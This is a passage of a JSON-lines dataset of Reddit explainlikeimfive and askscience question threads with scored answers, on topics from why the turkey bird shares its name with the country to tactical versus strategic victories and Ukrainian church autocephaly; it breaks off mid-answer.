{"q_id": "2ygv5b", "title": "why is there a country called turkey and an animal called turkey when the two have nothing to do with each other? is there any relationship between the two, or is it just coincidence?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2ygv5b/eli5_why_is_there_a_country_called_turkey_and_an/", "answers": {"a_id": ["cp9ddwz", "cp9dha6", "cp9dpdm", "cp9hbbt", "cp9lkps", "cp9olry", "cp9ra5q", "cp9rt8g", "cp9tcci", "cp9tm6i", "cp9u5nw", "cp9u73l", "cp9ucd9", "cp9und9", "cp9vhj8", "cp9vw1b", "cp9xa8k", "cp9xyh5", "cp9y9fa", "cp9ya3p", "cp9yb8g", "cp9yui9", "cpa0i4d", "cpa1loc", "cpa1whv", "cpa2dwn", "cpa4e47", "cpa5gna", "cpa7o4q", "cpac8wo", "cpadgt7"], "score": [3, 2852, 56, 2, 2, 2, 75, 3, 6, 2, 31, 25, 3, 6, 8, 11, 42, 6, 2, 13, 2, 6, 3, 3, 2, 2, 8, 2, 3, 2, 3], "text": ["Europeans, who encountered turkeys in America for the first time, mistook them for a bird, that was native to the country of Turkey.", "The bird was named after the region. In the 15th century or so traders started to bring Guinea Fowl from eastern Africa to Turkey where they were then exported to Europe. The birds became known as Turkey-hens. When colonists went to North America they thought the Turkey looked similar and so it too was called Turkey. \n\nThe birds' introduction to other countries by trade is apparent in its many names. In Turkish, the name translates to Indian (as in where Delhi is, not Native American). Same with French (the word went from coq d'Inde (chicken of India) to its modern shortened form, dinde). In Malay, it's known as a Dutch Chicken and in Portuguese its name means Peru bird.\n\nEdit -  Thanks for the all the additions and corrections. And this is a list of *place origins* by language, not the actual word used. I know Kozhikode isn't the word for turkey in Dutch; that's the city the bird was named after.\n\nThe list of place origins ascribed to the turkey by language:\n\n* English/Hindi- Turkey\n* Georgian/Turkish/Hebrew/French/Armenian/Polish/Russian - India (unclear whether this means subcontinent India or West Indies)\n* Arabic - Rome\n* Portuguese (Brazil and Portugal) - Peru\n* Norse/Dutch/Swedish/Lithuanian - Kozhikode (a city in India)\n* Greek/Scottish Gaelic - France\n* Vietnamese - the West (translates to \"Western Chicken\")\n\nEdit 2: /u/luke_in_the_sky wrote up a similar summary for the Guinea pig [here](_URL_0_). And thanks for the gold anonymous redditor!", "There is a bird now commonly known as guineafowl that was at one time called turkey fowl.  It was called turkey fowl because it was imported into Europe though North Africa, which at the time was part of the Turkish/Ottoman Empire.\n\nWhen new world turkeys were first brought to Europe, it was thought that they were just a different type of turkey fowl.\n\nI don't honestly know why the original turkey fowl started to be called guinea fowl and the new world turkey fowl kept the \"turkey\" name.", "The animal, turkey, is called \"Peru\" in Portuguese, which also happens to be the name of a country.", "In Portuguese, the bird is called Peru, which incidentally is also a country in South America. Go figure...", "Then where does \"pavo\" (spanish) come from?", "There's also a city in Turkey called Batman. What's up with that?", "In Russian, word for turkey is 'indyuk', which is a lot closer to Indiya (Russian for 'India')", "The country Turkey is named for the Turks/Turkmen who migrated from central Asia and settled in the area.", "ELI5: how Robert has the same nickname as my dick when the two have nothing to do with each other.", "Just like how the country \"Jordan\" has nothing to do with the shoes.", "In Brazil, turkey animal is \"peru\". The country Peru is \"peru\" too. So they have the same odd turkey/country combo.", "And then we have local names: Chompipe or Chunto in Guatemala ", "This is an American question. In Hebrew, Turkey, as in the bird is hodu. Hodu also means India. Eli5 THAT", "In Greek we call it 'gallo poula' meaning french bird.", "In Turkish, Egypt is MISIR, which translates to corn in English and India is Hindistan, Hindi means turkey (the bird) in English. And that's my useless but fun contribution to this thread. ", "Turkish here. \n\nHere is something weirder: we call India *Hindistan*. \n\n*Hindi* means turkey(the bird) in Turkish \n\nSo India is *land of turkeys*", "This seems like a very easily googleable thing.  Not sure we needed to ask the experts of reddit. ", "Curiously, in Brazil a turkey is called peru, the same as the country Peru. ", "_URL_0_\n\n >  When Europeans first encountered turkeys in America, they incorrectly identified the birds as a type of guineafowl \u2013 i.e., as members of a group of birds which were thought to typically come from the country of Turkey. The name of the North American bird thus became \"turkey fowl\", which was then shortened to just \"turkey\". In 1550, the English navigator William Strickland, who had introduced the turkey into England, was granted a coat of arms including a \"turkey-cock in his pride proper\".\n", "In Chinese it's called \u706b\u96de which means \"fire chicken\" which does really have much to do where it comes from so much as how it looks but... How awesome is a name like fire chicken?", "Turkey means \"land of the Turks,\" the Turks being one of the Turkic peoples of Central Asia, which include the Kazakhs, Tarars, Kyrgyz, Uyghurs, etc. The Turks of Turkey are the westernmost of these peoples. Turkmenistan also means \"land of the Turks.\"\n\n[Source]( _URL_0_)", "It is based on where similar types of birds were traded, and Turkey was well known in the 15th century for dealing in fowl.\n\nSame thing with oranges, they get their name mandarins/satsumas based on where they originated from, bizarrely enough half of european languages refer to the orange as the \"chinese apple\"", "An otherwise easygoing Turkish dude once got mad at me for asking this question", "No it doesnt. In other languages the country and the bird have different names. It's a coincidence. Everyone who says something else is a liar. Please look it up online, I say the truth.", "Relevant: _URL_0_\n\nIt's interesting that most Native Languages just call it \"Big Bird\".", "So the american colonists mistakenly named the turkey after the wrong animal and mistakenly named the native Americans after the wrong race of people. Good job", "In Albanian its called Sea Fowl (chicken/cock). I read every comment trying to a find similar meaning, but it appears to be an outlier. And we consume it only and only for the new year eve family meal.  Always wandered what they do to the damned turkeys for the rest of the year. ", "So in English the bird Turkey shares the name with the country Turkey. In Turkish it's called Hindi which is the language of India...", "Its called Truthahn in german so i dont think its named after the country, only in english as some already explained.", "What about a planet called Uranus  that looks nothing like your anus"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.reddit.com/r/explainlikeimfive/comments/2ygv5b/eli5_why_is_there_a_country_called_turkey_and_an/cpa7ub8"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["http://en.wikipedia.org/wiki/Turkey_(bird)#History_and_naming"], [], ["http://www.quora.com/Is-there-a-common-history-between-Turkey-and-Turkmenistan"], [], [], [], ["http://en.wikipedia.org/wiki/List_of_names_for_turkeys"], [], [], [], [], []]}
{"q_id": "a61zb8", "title": "why do some animals run off or hide to die?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a61zb8/eli5_why_do_some_animals_run_off_or_hide_to_die/", "answers": {"a_id": ["ebr2tho", "ebr2vd5", "ebr3ehe", "ebr3tqq", "ebr8uhz"], "score": [9, 3, 2, 5, 3], "text": ["If I had to guess, I'd say it's so they can lead predators away from their young, pack or territory. \n\nIf they've been wounded, they're not going to leave that lovely blood trail leading back to the kids- similarly, if they're poisoned or sick, then infection won't be an issue either. ", "A dead body brings rot and the potential to harbour and spread disease. Running off and  hiding before death is a protective instinct that benefits the surviving clan.", "It's an innate evolutionary response, groups of animals who didn't die in remote locations jeopardizes the rest of the population. There's 3 potential ways to overcome this  evolutionarily;\n\nDie alone and rot far away\n\nDevelop a resistance to the pestilence\n\nHave the mental capacity to process the dead\n\n", "You often go to parties when you are legit sick?", "A pack can only be as strong as its weakest link. \n\nIf you look at cows, you'll notice pregnant cows often go away from the herd to birth the calf. In case something goes wrong or not, the cow is a weak link while birthing.\n\nAnything that is not strengthening the pack is decreasing survival, so an animal who already has a lower survival rate will not push its weakness onto the pack."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "17p8c1", "title": "Is it beneficial to blow your nose?", "selftext": "I am sick right now and just wondered. Is it beneficial? If yes. Why?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/17p8c1/is_it_beneficial_to_blow_your_nose/", "answers": {"a_id": ["c87lmv8", "c87r51y", "c87xwcx"], "score": [31, 10, 3], "text": ["If you don't blow your nose, your sinuses fill with mucus.  If left long enough, the mucus provides a wonderful feast for bacteria, which could lead to sinus infections.\n\nHave I tested to see how long this takes? No.  Will I?  No.\n\nGet well soon.", "Related question: If you take cold medicine, and it clears up your nose... wouldn't it take longer for you to get better because your body isn't getting rid of the virus?\n\n", "Interestingly, blowing your nose *may* be counterproductive for getting over a cold. The science that I have read isn't clear, but some scientist are arguing that the extreme pressure of blowing your nose can actually push mucous into nearby sinus cavities in your nose and cause secondary infections. \n\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://cid.oxfordjournals.org/content/30/2/387.full"]]}
{"q_id": "5kmc57", "title": "why does the us government (among others, i imagine) distinguish between degrees of crime?", "selftext": "To elaborate, why is there a different punishment for a first degree murder as opposed to a third degree one? Why are hate crimes punished more severely than a one without intolerance as a motive?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5kmc57/eli5_why_does_the_us_government_among_others_i/", "answers": {"a_id": ["dboye2b", "dboyjs1", "dboyke1"], "score": [5, 10, 2], "text": ["Because intent is a big factor.\n\nLet's say you see some shady-looking guy stalking around in the dark behind your house, where your children are sleeping. You grab your gun and head out to investigate and make sure he's not looking to get in to trouble. You stumble across him, he moves towards you, and you panic and shoot him. Turns out he just wanted to know directions.\n\nYou acted aggressively and dumbly, but you didn't set out intending to kill him. You did, though, due to your bad decision-making. That's 2nd degree murder.\n\nIn another situation, there is a guy you discovered stole your car. So you get a gun, drive to his house, and shoot him in the face. You 100% intended to kill him. That's 1st degree murder.\n\nThose crimes are very different, and deserve different punishments.", "First you have to ask yourself what is the purpose of punishing a crime. People usually justify punishment with one or more of the following: deterrence, justice/revenge, rehabilitation/removal from society. \n\nIf you punish people in order to deter others from committing similar acts then your punishment only needs to be severe enough to scare others. Different people will likely be scared away from different acts based on different prison sentences. The threat of a two day jail sentence probably wouldn't stop you from stealing $10,000 but the threat of a five year prison sentence probably would.\n\nIf you punish people in order to provide justice or allowed the aggrieved parties to get revenge, then the punishment should only be proportional to the harm inflicted.\n\nIf you punish people in order to rehabilitate them or remove them from society until they can safely be around others then you only need to lock them up for as long as it takes them to safely re-enter society.\n\nIn the US, we don't have a clear theory as to why we punish - it's sort of a mix of all three reasons. Still, all three reasons tend to favor longer/more punishment for crimes where the perpetrator intentionally planned something or was driven by forces that are particularly heinous. \n\nFor example, the difference in first, second, and third degree murder is usually the amount of planning and intent involved. If you planned someone's murder for weeks and then carried it out, we think you're more likely to repeat the crime, more morally responsible, and more dangerous than someone who just got angry and out of control in an unplanned moment. \n\nSimilarly, someone who commits a hate crime is more likely to keep targeting people of the specific group. They may also be more dangerous because they might spread their message of violent hate to others. Messages like \"kill all Christians\" tend to spread better than general violent messages like \"become a serial killer\" and, therefore, are more dangerous to society.", "It usually is related to degrees of Intent.\n\n3rd degree homicide is usually \"manslaughter\", and involves no intent, only negligence. If you are hanging out with friends shooting a gun in your back yard and hit and kill a neighbor because you weren't using a proper backstop, that is an accident, but you were still at fault for being an idiot.\n\n2nd degree homicide is generally with intent but not aforethought. AKA: crime of passion. You're at a soccer game and because soccer fans, a brawl breaks out between the winning and losing team. You joined in and crushed someone's trachea with your boot. 2nd degree homicide because you intended to do it at the moment, but you did not go to the soccer game with the intent to killl some poor bastard (or at least the prosecution can't prove it).\n\n1st degree homicide is when you planned on it. You find out your wife is cheating on you, so one day you take ofd of work early so that you can stab your wife and/or her lover to death while they are in the middle of fucking. Not only did you intend to stab tem to death, you planned on how you wpuld get the opportunity to do so \"in cold blood\"."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "35led3", "title": "what's this \"flushable technology\" toilet paper brands claim to have?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/35led3/eli5_whats_this_flushable_technology_toilet_paper/", "answers": {"a_id": ["cr5goan"], "score": [2], "text": ["To be clear, it's about flushable \"wipes\" (cloth-like small patches of fabric), and they're doing it because a lot of cities were complaining that previous \"disposable wipes\" were not breaking down and were clogging the municipal septic systems. \n\nIt's a technology that causes the cloth to start breaking down shortly after being immersed in water, separating its fibres and preventing them from wadding up and plugging pipes and processing units. They don't say exactly what it is, since it's a trade secret, but it could be any number of things such as a little sugar or starch that's used to hold the fibres together."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "ctqf27", "title": "splitting an atom releases a ton of energy. why can't we use the energy from atoms to power things like cars?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ctqf27/eli5_splitting_an_atom_releases_a_ton_of_energy/", "answers": {"a_id": ["exmq8br", "exmqnj7", "exmr0y7", "exmr33c"], "score": [2, 21, 3, 6], "text": ["Its not deemed safe for use by civilian personnel because of radiation shielding and potential to create a hazard.  Good idea though\n\nTritium tubes used on gun sights and watches are about as close as we get to safety exposure limits without a permit.", "We can. And to an extent we do now if you consider electric cars powered by energy from Nuclear plants.\n\nAs for why we don\u2019t have mini-Nuclear Reactors in vehicles. Well, because then we\u2019d have a bunch of mini Nuclear Reactors zipping along at high speeds. An accident could cause a dangerous release of radiation.\n\nEdit: To add on, a nuclear automobile *was* considered at numerous times. However it\u2019s just too damned dangerous.", "* Radiation. Lots of radiation\n\n* It's really really bulky equipment\n\n* Major hazard in the event of a crash\n\n* Nuclear reactors don't exactly spool up and down on command. It can take several minutes to get a reaction going or slow it down, which isn't great when you need power but don't have it, or don't need it but it keeps coming.\n\nThe military has considered nuclear powered airplanes in the past, but it never quite made it.", "If you\u2019ve got an electric car that you charge from an outlet supplied by a nuclear power plant, then you are using the energy from atoms to power your car. \n\nNuclear reactors don\u2019t directly power consumer vehicles because of the problems of radiation shielding (weight), fuel, waste, etc. They do directly power some military ships and boats though."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "3fw6dn", "title": "is it realistically possible to save endangered species or is the planet definitely going to lose turtles, whales, sharks, elephants and many other endangered animals? what's stopping efforts to save them?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3fw6dn/eli5_is_it_realistically_possible_to_save/", "answers": {"a_id": ["ctshylu", "ctsjqf7"], "score": [8, 5], "text": ["It depends a great deal on the species.   \nAs a few examples of highly recognizable success stories:     \n     \nThe American alligator was nearly extinct before it was listed as endangered.     \nNow there are more than 5 million.   \n    \nThe bald eagle was reduced to around 450 mating pairs.    \nNow it's around 10,000.     \n      \nWolves, paregrine falcons, and a lot of others have been brought back from the brink of extinction. ", "Depends if they can reach a viable number of genetically unique individuals, otherwise they inbreed to death."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "4qb0cd", "title": "why does discovery of a pear-shaped nucleus suggest time travel to be impossible?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4qb0cd/eli5_why_does_discovery_of_a_pearshaped_nucleus/", "answers": {"a_id": ["d4rk9vc"], "score": [11], "text": ["If it were confirmed, a rather big IF, and it turns out that the nucleus somehow remains aligned to an absolute reference - many things are different.  Absolute reference frames have never been available in physics before, and it would revolutionize many theories.\n\nThat said, if a mechanism for the alignment is proposed and experimentally verified, a **much bigger IF**, then that mechanism might explain why time is perceived to go in only one direction when the other laws of physics generally work in both directions of time.\n\nIt's much too early for \"suggest\", it's less certain than that."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "390g5i", "title": "how can a battle be a called \"tactical victory\" for one side, but a \"strategic victory\" for the other side? what is the difference, and who actually won?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/390g5i/eli5_how_can_a_battle_be_a_called_tactical/", "answers": {"a_id": ["crzawd6", "crzazft", "crzazng", "crzb0fq", "crzb0u8", "crzb1pt", "crzc07s", "crzcge9", "crzdx6x", "crzfpd9", "crziddq", "crziheh", "crzio5u", "crzipcm", "crzjvn8", "crzjx6y", "crznxfu", "crzswwq", "cs06uvq", "cs0b5e2"], "score": [1320, 49, 15, 5, 12, 3, 2, 4, 3, 10, 3, 6, 3, 11, 25, 5, 3, 3, 7, 2], "text": ["Generally, a tactical victory means a victory on the small-scale, while a strategic victory is on the large-scale. \n\nImagine that it's WWII again, and Germany and Russia are engaged in war. At a city on Eastern Front, the Germans and Russians have a battle. This is a hard fought battle, but the Germans win after pulling in reinforcements from elsewhere. The Germans have won a tactical victory. The Germans then take the city.\n\nHowever, by pulling in reinforcements from elsewhere,  the Germans have weakened themselves at other points along the front. This allows the Russians to advance and break through at several other points. This allows them to completely surround the city, trapping the Germans there. The Russians have thus won a strategic victory.", "Loosely: tactics are usually short term gains, but strategy is the overall big picture.\n\nHere's [a good example in war](_URL_0_), from Game of Thrones (S2, no particular spoilers). Edmure (without the beard) is talking about how he won a mill, and some hostages. However, Robb (his king, and with the beard) wasn't interested in the mill - a tactical victory - but in the strategic gain of capturing and killing the commander of the mill (who was allowed to escape). Thus the tactical win is a strategic loss.\n\nA different example is a chess game I played recently which, I think, can illustrate this: _URL_1_\n\nI have an extra knight and an extra pawn near the end of the game.\n\nMy opponent got a tactical victory when they won my knight (they got my knight and my rook, in exchange for just their rook). However, in doing so I got a strategic victory in the process, because my strategy involved getting my extra pawn to promote to a queen.\n\nWhen they captured my knight (on move 51) I lost the tactical battle, but won the strategical battle, since they now had no chance of preventing two of my pawns from promoting to queens, and no way to get their last pawn through to win.\n\nHopefully one of those two examples makes sense. :-)", "The game chess can be compared to a battle. Chess, like war, has higher and lower value targets. Chess, like battles has tactics like, skewers, exposed attacks, pins, forks. Chess also has strategic play like sacrifices (sacs), gameplay pace, and misdirection. \n\nSo a series of moves in chess that end with the highest value target, the queen, being removed from play is a tactical victory for the side winning the queen, but if that same play puts the side losing the queen a move ahead on an exposed king, it means a strategic victory. \nNeither side has ultimately won, yet. But a strategic victory tends to be the better because the goal is winning the war, while the tactical win is winning the battle. ", "Suppose that\n\n* you think that the enemy has 2 effective plans on how to war against you, going around or striking from the front, for example\n\n* you secretly know that you easily win the war if they attack from the side\n\n* you think that they haven\u2019t decided yet, but winning the next battle will make them more likely to attack from the side\n\n* so you go and let them win, and they make a decision to attack from the side based on that\n\nWhat a grand strategic victory for you.", "I suppose an example is [dunkirk](_URL_0_) where the germans were able to push the British and French forces to the sea and gain full control of mainland europe, however most of the troops were succesfully evacuated across the English Channel allowing the allies to rebuild and stay on the attack in other places (like africa).", "Supposing army A has an objective of preventing army B from reaching a city. If army A get roughed up in battle but is able to prevent army B from reaching their objective than A has lost tactically but won strategically.\n\nExample: in the Battle of the Coral Sea the US Navy's losses were worse than those of the Japanese however Japanese losses were sufficient to force them to slow their offensive in the South Pacific. The delay of this battle combined with the American victory at Midway changed the war from one where the initial feilded forces were dominant to one where industrial production and the ability to replace and grow the forces mid war were more key to victory. \n\nSo like a chess match except with one side having superior forces to begin with and the first move and another team having the ability to move more pieces onto the board as the game progresses. So not really like chess at all. The one side can be winning early but if they don't win out they can't win in the long run. The South's victories during the Civil war could be described similarly. \n\nEdit: to expand on what I said before, the Confederacy was able to inflict more casualties on Federal troops during many Civil War Battles such as Fredericksburg, Bull Run, and Chancellorsville, however almost all of those battles took place in Confederate territory because the Confederate tactical victories failed to acheive the strategic goal of driving out the invading Federal army.", "So the Alamo was tactical?", "No one has yet to mention resources, I believe.\n\nLike many have said, tactical victory is indeed a victory on small-scale, like capturing a single town/fort/etc.\n\nHowever, it should be said that strategic victory relates to resources. Victory on strategic scale often means losing less resources relative to your opponents. Strategic victory is achieved by a string of *affordable* tactical victories.\n\nI believe WW2 Germans proved tactically superior to their foes most of the time, they won a lot of battles or at least lost less soldiers than their enemy. But even great tactical victories couldn't win a war where the enemies had virtually infinite combined resources.", "Related to this is the phenomenon known as a [Pyrrhic Victory](_URL_0_), where-in you can win a battle (achieve your objectives) but take on such heavy losses that you have made your overall situation worse.", "Because war is about more than winning battles. \n\nTo understand, first some definitions:\n\n > **Tactical** - the stuff of an actual battle, which determines who wins or loses, or what you're fighting for. So, for instance, a *tactical objective* might be to take a particular hill, or to protect a certain convoy. A *tactical plan* might be to move X unit to Y position to provide covering fire.   \n\n > **Strategic** - the stuff that battles are for, which you are battling about. So a *strategic objective* might be to win over the population, or to keep the enemy's 9th infantry from leaving some valley. A *strategic plan* might be to convince the population to turn on the insurgents by providing security. \n\nThese aren't universal definitions, but they point out the key difference that matters to your question. Tactics are about some particular objective, whereas strategy is about ultimate goals. Thus, you might be able to win a battle, or even many battles, but find yourself losing ground in terms of actual victory. \n\nAnd it doesn't have to be about winning battles but losing politically. Imagine you convince your enemy to attack you in the South, and over the next few months they crush the limited forces you left there.  That's dozens of tactical victories. \n\nBut, you moved almost all your forces to the north, and so you sneak around them and take their capitol.  They won the \"tactical\" battle in the south, but they tied up their forces fighting for things that ultimately didn't help them achieve their strategic objectives, or help them stop you from achieving yours. ", "Clausewitz explained it best.\n\n\"Tactics\" is the use of men to win an engagement, \"Strategy\" is the use of engagements to win the war.\n\nSo while one side may win the battle, it may leave their army out of place or some other benefit to the loser (of the battle) that applies to the conflict as a whole.\n\n", "The Battle of Britain is a good example of how any German tactical victory wouldn't have manifested into strategic goals.\n\n The Luftwaffe had to destroy the RAF as a force in being, so that any future invasion could take place. They originally targeted RAF airfields, then later moved to strategic bombing of cities.\n\n Often enough the decision to switch to cities has been criticized. The truth of the matter is that their strategic objective couldn't have been accomplished. \n\n The airfields being bombed were *grass* fields, and often times temporary fabrications that could be relocated with ease. Had the Luftwaffe persisted in targeting the RAF airfields, the aircraft could have easily been relocated entirely beyond the range of the Luftwaffe, yet still within range of the important Channel crossing. \n\n Destroying the RAF as a force capable of defending that crossing was impossible, given the rate of production the RAF achieved. Any *tactical* victory in the skies would never have translated into a strategic victory. ", "This may be to advanced for a five year. First we need to define what a tactical victory means. Simply, it is the occupation of a piece of real estate or the elimination of your opposing force. To define a strategic victory is much more difficult. Essentially it means to get your army closer to victory through the means of your strategic advantages (that terrible and I apologize). \n\nThe best real world example of this came during the Spring Offensive of 1918 by the German army. During this offensive, the Germans were largely successful in capturing the territory they wanted and killing a lot of French, British and American soldiers, a tactical victory for the Getmans. Unfortunately for the Germans, the land they captured was of no real defensive value and they lost a lot of their own soldiers to capture it and stretched their supply lines too far. This allowed the Allies, with a still healthy reserve of soldiers and more advantageous logistics to counterattack and use their strategic advantages to start pushing the German army back until it capitulated. \n\nThus, a German tactical victory turned into a strategic defeat. ", "Vietnam. \n\n US won every major engagement on a tactical level.\n\n Strategically was a failure, but not due to tactical choices.", "I can explain this like you're 5. \n\nWe're having a water balloon fight. 5 on my team vs. 5 on yours, and if you get wet, you're out. Everyone is hiding behind trees, and only carrying the 4 or 5 balloons they can hold. Your team blindly starts throwing all of their balloons at random trees,  and successfully drenches 2 members of my team. This exchange is a tactical victory for you, and you're currently winning 5-3.\n\nBut now you're out of balloons, and have revealed all of your hiding places. This is a strategic victory for me. \n\nWho do you think is actually ahead? ", "The example I love from history is the Battle of Asculum.\n\nIn 280 BC, the Romans were expanding in Italy. A city in Southern Italy called for help from the Greek King of Epirus, who was called Pyrrhus. Pyrrhus marched his troops into Roman territory and defeated them once. He then spent the Winter there.\n\nThe following year, the campaigning season began again and Pyrrhus fought the Romans a second time at Asculum. The battle lasted two days. On the first day, the Roman left was broken, but so was the Epirote centre. Both sides retreated at dusk. The following day, Pyrrhus rushed to take the high ground he had failed to occupy the day before. This time, when the lines engaged, Pyrrhus deployed his Indian Elephants (how he came to have elephants is a story for another comment, but it's quite interesting) and with them he broke through the Roman line, backed up by light infantry and skirmishers. The Roman counter-attack was repelled, and the Romans were forced to retreat. This gradually turned into a full-scale rout, and Pyrrhus won the battle.\n\nSo Pyrrhus had defeated the Romans, winning a tactical victory. But the aftermath is famous. Plutarch puts it like this:\n\n > The two armies separated; and we are told that Pyrrhus said to one who was congratulating him on his victory, **\"If we are victorious in one more battle with the Romans, we shall be utterly ruined.\"** For he had lost a great part of the forces with which he came, and all his friends and generals except a few; moreover, he had no others whom he could summon from home, and he saw that his allies in Italy were becoming indifferent, while the army of the Romans, as if from a fountain gushing forth indoors, was easily and speedily filled up again, and they did not lose courage in defeat, nay, their wrath gave them all the more vigour and determination for the war.\n\nThat quote in bold gives us the term \"pyrrhic victory\".\n\nPyrrhus' campaign was stalled by the cost of his victory. He now had no hope of properly defeating Rome. The war dragged on for four more years, with Carthage joining Rome's side. Eventually, Pyrrhus gave up and went back home to Epirus. The Romans promptly conquered the peoples of Southern Italy.", "The [Battle of Jutland](_URL_0_) is often cited as an example of this.\n\nThe German fleet was able to inflict much heavier losses on the Royal Navy and retreat back to port without being destroyed, meaning many to argue that they won the engagement.\n\nHowever, such was the Royal Navy's numerical superiority that it could afford these losses. The German fleet was much smaller, so the impact of their casualties was greater. After Jutland, the German admiralty were forced to accept that they could not challenge the British surface fleet and kept their valuable battleships in port for the rest of the war. This is why most people judge Jutland a strategic British victory.", "The Tet offensive in Vietnam is a great example of this. The US/South Vietnamese forces were able to push back the Vietcong and defeat them. The Vietcong suffered horribly and the US won a tactical victory. \n\nThe loss of life on the US side caused such an uproar and opposition at home that this was used as a catalyst for the US to begin scaling back its offensive and seek an exit strategy. The psychological impact of the Tet offensive gave the Vietcong the strategic victory that ultimately turned the tide of the war.", "A classic example is the Battle of Jutland, in terms of tonnage the biggest naval battle ever (roughly 250,000 tons). 250 ships crewed by 100,000 men of the British Grand Fleet and the German High Seas Fleet fought in the North Sea off the coast of Denmark. \n\nThe German Fleet was bottled up due to the larger British fleets' efforts to blockade Germany and prevent her navy from being used in the war. If Germany could break the Blockade, they could stop allied shipping into France. The Germans goal was to send out their whole fleet and ambush a section of the British Fleet, its Battlecruiser Squadron (a Battlecruiser is a Battleship sized ship with roughly equivalent weaponry but less armour and higher top speed). However the British, who had cracked the German Naval Code, ambushed the Germans with their whole fleet and the two fleets engaged; to this day it is the only major clash of Battleships between two World Powers (other than minor skirmishes in the Russo-Japanese War and in World War 2). \n\nThe Battle Ended when the Germans, realising that they were about to be encircled, broke off and escaped back to their bases, where the British couldn't pursue them since the Germans had coastal defence systems in place. \n\nThe Germans lost 2,500 men and 62,000 tons of ship (about 1/60 of the fleet present) including a Battleship and a Battlecruiser, but the British lost 6,000 men and 113,000 tons of ship (about 1/150 of the fleet present) including three Battlecruisers. So Kaiser Wilhelm II announced \"We have won a great victory in the North Sea\", and on paper, that's correct. The Germans had won a tactical victory.\n\nBut the Germans failed in their goal of wiping out the Battlecruiser Squadron or a significant part of the British Fleet, despite losing less men and ships and going into battle unprepared and outnumbered. The British still ruled the North Sea, the Blockade continued, and the German Fleet was still stuck in harbour. So it was a Strategic Victory for the British. \n\nThe blockade of Germany  and her inability to stop it was one of the many factors that eventually led to the Entente powers winning the First World War.", "You can kill 10,000 enemy troops, losing only 50 yourself, dealing them devastation, but in the process lose a vital point of control.  You obviously just whipped some ass, and without considering anything outside of that fighting, you won.  Tactically, you won.\n\nBut you lost the bridge.  Now the enemy has control of a vital point.  \nThey have won a strategic victory."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.youtube.com/watch?v=I13QZ2P9qfM", "http://www.chess.com/echess/game?id=111257428"], [], [], ["http://en.wikipedia.org/wiki/Dunkirk_evacuation"], [], [], [], ["http://en.wikipedia.org/wiki/Pyrrhic_victory"], [], [], [], [], [], [], [], ["http://en.wikipedia.org/wiki/Battle_of_Jutland"], [], [], []]}
{"q_id": "3336om", "title": "Why did the American Indian Movement choose Alcatraz as a place for staging a protest?", "selftext": "I understand why AIM was protesting, but why did they choose Alcatraz specifically? Did the island hold some special significance?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/3336om/why_did_the_american_indian_movement_choose/", "answers": {"a_id": ["cqh61bm"], "score": [6], "text": ["I'm not sure this is appropriate, as I am remembering the answer from an undergrad class about 10 years ago, but AIM cited the Treaty of Fort Laramie in order to seize the land. Basically, the treaty (signed in the mid 1800s) stated that any Native land acquisitions that either stopped being used by the Federal government or fell into disrepair would be re-appropriated for Native American use. The US government, for multiple reasons, decided to shut down the prison on Alcatraz at that time and didn't have a replacement use for the island. Originally the island had been Native land, and AIM seized onto that and the Treaty of Fort Laramie as a jumping-off point for their movement. It was basically a high-profile maneuver that guaranteed them a spotlight, and raised a lot of awareness across the country for Native American rights. \n\nI can try to search for the books I had on the subject, but that was a decade ago and I don't live in the same country anymore, let alone the same state, so it might be challenging :) "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "adod3d", "title": "what is autocephaly and why do the greek and russian orthodox churches have their knickers in a twist about ukrainian autocephaly?", "selftext": "Basically what I said above. I read the other day that there's a big schism between the Greek and Russian orthodox churches, and my knowledge of schisms is limited to the Great Schism of 1054 and the Protestant Reformation. So I looked into it and from my understanding it seems that it has something to do with Ukrainian autocephaly? What does that mean? I'm assuming that it has something to do with Russia's political designs on Ukraine, but beyond that I'm clueless. Am I right about that? Is this on par with any other schisms? Is this likely gonna be a permanent split?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/adod3d/eli5_what_is_autocephaly_and_why_do_the_greek_and/", "answers": {"a_id": ["ediuyz5", "edjuq1e"], "score": [2, 3], "text": [" >  something to do with Ukrainian autocephaly? What does that mean?\n\nIt is when the head bishop doesn't report to another higher ranking bishop. Basically the issue is that the Ukrainian church isn't part of the hierarchy of the other orthodox churches and isn't subject to their authority.\n\n >  Is this likely gonna be a permanent split?\n\nAt least until Russia invades Ukraine and seizes control, sure. Organizations which break free from control typically don't put themselves back under that control if they have a choice.", "Basically, there were three ortodox churches - Ukrainian Orthodox Church of Kyiv patriarchate (1), Ukrainian Autocephal Orthodox Church (2), and Ukrainian Orthodox Church of Moscow patriarchate (3).\n\n(3) is a division of Russian Orthodox Church, and it is, unsurprisingly, strongly pro-Russian. Now, this 